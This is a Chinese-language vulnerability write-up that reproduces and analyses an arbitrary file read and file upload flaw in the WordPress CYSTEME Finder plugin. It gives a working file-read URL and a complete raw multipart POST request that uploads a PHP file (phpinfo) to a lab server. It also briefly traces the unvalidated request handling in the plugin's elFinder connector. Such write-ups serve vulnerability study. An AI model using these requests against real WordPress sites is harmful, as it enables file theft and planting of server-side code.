Wordpress Plugin CYSTEME Finder Rce 漏洞复现&分析
0x01 漏洞背景
漏洞编号:暂无
漏洞版本:待补充
0x02 漏洞复现
上传CYSTEME Finder插件并安装。
![image-20201206201531752](Wordpress CYSTEME Finder.assets/image-20201206201531752.png)
Poc1:
任意文件读取poc:
http://192.168.52.3:8088/wordpress/wp-content/plugins/cysteme-finder/php/connector.php?wphome=C:/&cmd=open&init=1&tree=1
![image-20201206201947590](Wordpress CYSTEME Finder.assets/image-20201206201947590.png)
任意文件上传poc
POST /wordpress/wp-content/plugins/cysteme-finder/php/connector.php?wphome=C:\\phpstudy_pro\\www\\wordpress&wpurl=http://192.168.52.3:8088/wordpress/ HTTP/1.1
Host: 192.168.52.3:8088
Content-Length: 312
Origin: http://192.168.52.3:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: multipart/form-data; boundary=--------723608748
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Connection: close
----------723608748
Content-Disposition: form-data; name="cmd"
upload
----------723608748
Content-Disposition: form-data; name="target"
l1_Lw
----------723608748
Content-Disposition: form-data; name="upload[]"; filename="test.php"
Content-Type: text/html
<?php phpinfo(); ?>
----------723608748--
![image-20201207004622243](Wordpress CYSTEME Finder.assets/image-20201207004622243.png)
![image-20201207004720777](Wordpress CYSTEME Finder.assets/image-20201207004720777.png)
0x03 漏洞分析
任意文件读取分析
![image-20201206232602154](Wordpress CYSTEME Finder.assets/image-20201206232602154.png)
根据poc,直接通过$_REQUEST取参数,运行下面的逻辑代码,而且没有任何的验证逻辑。
跟进elFinderConnector的run方法
![image-20201207002433584](Wordpress CYSTEME Finder.assets/image-20201207002433584.png)
跟进exec方法,查看其具体实现,其传入的cmd参数内容为open,所以,此处$cmd()其实调用的open()方法
![image-20201207003331701](Wordpress CYSTEME Finder.assets/image-20201207003331701.png)
通过open方法对文件夹进行读取
![image-20201207003820896](Wordpress CYSTEME Finder.assets/image-20201207003820896.png)
而文件上传根据poc则是通过upload方法进行上传
![image-20201207003943797](Wordpress CYSTEME Finder.assets/image-20201207003943797.png)
0x04 参考
待补充